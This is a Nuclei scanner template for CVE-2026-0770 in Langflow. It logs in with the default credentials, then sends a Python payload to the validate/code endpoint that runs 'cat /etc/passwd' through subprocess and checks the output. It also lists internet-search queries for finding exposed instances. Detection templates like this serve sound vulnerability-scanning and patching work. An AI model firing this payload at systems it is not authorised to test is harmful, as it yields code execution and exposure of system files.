id: CVE-2026-0770

info:
  name: Langflow < 1.3.0 - Remote Code Execution via validate_code() exec()
  author: affix
  severity: critical
  description: |
    Langflow contains a remote code execution caused by inclusion of functionality from untrusted control sphere in the exec_globals parameter at the validate endpoint, letting remote attackers execute arbitrary code as root, exploit requires no authentication.
  impact: |
    Remote attackers can execute arbitrary code as root, leading to full system compromise.
  remediation: |
    Update to the latest version of Langflow.
  reference:
    - https://github.com/affix/CVE-2026-0770-PoC
    - https://github.com/langflow-ai/langflow
    - https://www.horizon3.ai/attack-research/disclosures/unsafe-at-any-speed-abusing-python-exec-for-unauth-rce-in-langflow-ai
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-0770
    epss-score: 0.56267
    epss-percentile: 0.98955
    cwe-id: CWE-94
  metadata:
    verified: true
    max-request: 2
    fofa-query: title="Langflow"
    shodan-query: title:"Langflow"
  tags: cve,cve2026,langflow,rce,authenticated,vuln,vkev,kev

variables:
  username: "langflow"
  password: "langflow"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /api/v1/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "access_token"
          - "token_type"
        condition: and
        internal: true

      - type: word
        part: content_type
        words:
          - "application/json"
        internal: true

      - type: status
        status:
          - 200
        internal: true

    extractors:
      - type: regex
        name: token
        part: body
        group: 1
        internal: true
        regex:
          - '"access_token"\s*:\s*"([^"]+)"'

  - raw:
      - |
        POST /api/v1/validate/code HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: Bearer {{token}}

        {"code":"\ndef exploit(\n    _=( lambda r: (_ for _ in ()).throw(Exception(f\"OUTPUT:\\n{r.stdout}{r.stderr}\")) )(\n        __import__('subprocess').run('cat /etc/passwd', shell=True, capture_output=True, text=True)\n    )\n):\n    pass\n"}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 200
# digest: 4a0a004730450220149a00270329a43523588ebdd9aa004bc64bc31309dd013a3fc01df1fd666688022100d87feb61c77d32c49507f9a99a3f605c37a8a76d56b41d6241e7c59bca1d2ca2:922c64590222798bb761d5b6d8e72950